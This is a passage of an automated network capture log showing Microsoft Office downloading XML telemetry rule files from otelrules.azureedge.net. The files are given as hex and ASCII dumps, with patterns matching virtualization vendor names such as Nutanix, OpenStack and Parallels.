2024-11-16 19:13:05 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:05 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: b85626fa-d01e-0017-75bb-37b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191305Z-16547b76f7fw2955hC1DFWsptc00000003sg000000005p6r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:05 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	49892	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:06 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:06 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:06 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 02e40e2a-001e-00a2-7a2b-36d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191306Z-16547b76f7fgvq8chC1DFWhd2w00000003r000000000hevv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:06 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	49893	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:06 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:06 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:06 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 5823ae44-501e-0078-6fcd-3706cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191306Z-16547b76f7fr5rfnhC1DFW0am400000000hg00000000mze1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:06 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	49894	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:06 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:06 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:06 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 763850b9-e01e-0071-4d09-3708e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191306Z-16547b76f7fd4rc5hC1DFWkzhw00000003k0000000005q3u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:06 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	49895	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:06 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:06 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:06 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 33178deb-401e-0048-6eb6-370409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191306Z-1866b5c5fbb7lvschC1DFW4rm0000000037g000000009prx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:06 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	49896	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:06 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:06 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:06 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 0e1f71f1-101e-0034-76a7-3796ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191306Z-16547b76f7ff9zf4hC1DFW2pfc00000000rg00000000gw93 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:06 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	49897	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:06 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:07 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:06 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 9ba9b484-c01e-00ad-5d7f-37a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191306Z-16547b76f7fhv4d5hC1DFW7h0n00000001f000000000q3n1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:07 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	49898	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:07 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:07 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:07 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 642e1ba1-501e-00a0-3cb8-379d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191307Z-164f84587bf6h2bxhC1DFWbcm800000003d000000000a4uf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 19:13:07 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	49899	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:07 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:07 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:07 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 2bae05a1-901e-00a0-0ba2-376a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191307Z-1866b5c5fbbz7hb5hC1DFWru7c00000003600000000076n8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:07 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	49900	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:07 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:07 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:07 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: bbf47203-201e-003f-3a8e-376d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191307Z-16547b76f7fqqjnnhC1DFWxv7400000001dg00000000qxbn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 19:13:07 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	49901	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:07 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:07 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:07 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: f3ae074e-d01e-0082-62af-36e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191307Z-16547b76f7fm8pcwhC1DFWaxcc000000017g00000000n07t x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:07 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	49902	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:07 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:07 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:07 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: b301b02c-001e-0014-179f-375151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191307Z-16547b76f7fwggrphC1DFW2a8s000000020g00000000mwp9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:07 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" 